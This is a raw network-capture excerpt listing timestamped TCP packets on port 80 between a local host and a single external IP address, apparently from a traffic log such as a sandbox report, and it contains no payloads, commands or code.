Jul 27, 2024 05:39:08.012151957 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012166023 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012178898 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012192011 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012204885 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012217999 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012231112 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012243032 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012255907 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012298107 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012312889 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012320042 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012332916 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012340069 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012346983 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012360096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012366056 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012372971 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012387037 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012387037 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.012394905 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012495995 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012500048 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.012517929 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012531996 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012538910 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.012546062 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012558937 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012573004 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012587070 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012589931 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.012607098 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012661934 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.012671947 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012685061 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012695074 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012701035 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012722015 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012737036 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.012741089 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012748003 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012762070 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012772083 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012778044 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012785912 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.012825966 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.012900114 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.013096094 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013115883 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013128996 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013149023 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013164997 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013171911 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.013171911 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013180017 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013186932 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013200045 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013206959 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013209105 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.013221025 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013264894 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.013277054 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013293028 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013308048 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013315916 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.013354063 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.013519049 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013534069 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013547897 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013570070 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013577938 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.013583899 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013597012 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013617039 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.013617992 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013633013 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013653040 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.013654947 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013669968 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013684988 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.013684988 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.013715982 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.013742924 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.019184113 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.019205093 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.019221067 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.019236088 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.019275904 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.019320011 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.019401073 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.019414902 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.019435883 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.019450903 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.019464016 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.019464970 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.019496918 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.019522905 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.054205894 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054248095 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054301977 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054306984 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.054332972 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.054336071 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054362059 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.054368973 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054402113 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054402113 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.054419994 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.054455996 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.054457903 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054507971 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054512978 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.054557085 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054563046 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.054591894 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054625034 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054656982 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.054692984 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054693937 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.054743052 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054775000 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054810047 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.054821968 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054846048 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.054855108 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054874897 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.054903030 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054920912 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.054939032 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.054955959 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.054972887 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055006027 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055032015 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.055037022 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055068970 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055073023 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.055095911 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.055100918 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055120945 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.055133104 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055165052 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055191994 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.055196047 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055224895 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055226088 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.055243015 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.055255890 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055274963 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.055288076 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055309057 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.055315018 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055346012 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055350065 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.055368900 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.055377960 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055408955 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055440903 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055442095 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.055471897 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055474997 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.055502892 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055505037 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.055521965 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.055538893 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.055560112 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.055591106 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.102440119 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.102499008 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.102530956 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.102564096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.102582932 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.102595091 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.102627039 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.102641106 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.102665901 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.102683067 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.102704048 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.102731943 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.102736950 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.102763891 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.102791071 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.102797985 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.102819920 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.102830887 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.102853060 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.102863073 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.102874994 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.102897882 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.102931976 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.102953911 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.102984905 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103005886 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103018045 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103051901 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103076935 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103110075 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103115082 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103163958 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103197098 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103221893 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103226900 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103255033 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103259087 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103287935 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103291035 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103312969 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103322983 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103352070 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103370905 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103379011 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103403091 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103435040 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103461027 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103487968 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103501081 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103538036 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103573084 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103595972 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103602886 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103632927 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103636980 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103662968 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103668928 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103686094 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103701115 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103732109 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103756905 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103765011 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103796005 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103796959 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103827000 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103833914 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103852034 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103882074 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103893995 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103929996 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103939056 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103962898 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.103986025 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.103996038 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104023933 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104044914 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104046106 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104094028 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104126930 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104149103 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104159117 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104192019 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104192972 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104223967 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104227066 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104243040 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104254961 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104275942 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104288101 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104311943 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104319096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104350090 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104352951 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104368925 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104383945 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104403019 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104415894 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104432106 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104448080 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104471922 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104497910 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104501963 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104530096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104562044 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104562044 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104579926 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104594946 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104624987 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104626894 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104645014 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104659081 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104681969 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104693890 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104724884 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104756117 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104756117 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104785919 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104789019 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104821920 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104827881 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104846954 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104852915 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104885101 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104914904 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104916096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104948997 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104954004 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104980946 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.104983091 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.104999065 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.105011940 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.105038881 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.105043888 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.105073929 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.105076075 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.105099916 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.105108976 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.105135918 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.105154037 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.110320091 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.110400915 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.110449076 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.110481977 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.110515118 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.110513926 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.110543013 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.110567093 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.110580921 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.110599995 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.110663891 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.145113945 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.145149946 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.145200014 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.145231009 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.145268917 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.145320892 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.145354033 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.145370007 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.145375967 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.145421982 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.145431042 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.145471096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.145474911 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.145502090 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.145534039 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.145565033 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.145565033 CEST	49476	80	192.168.2.4	185.215.113.16
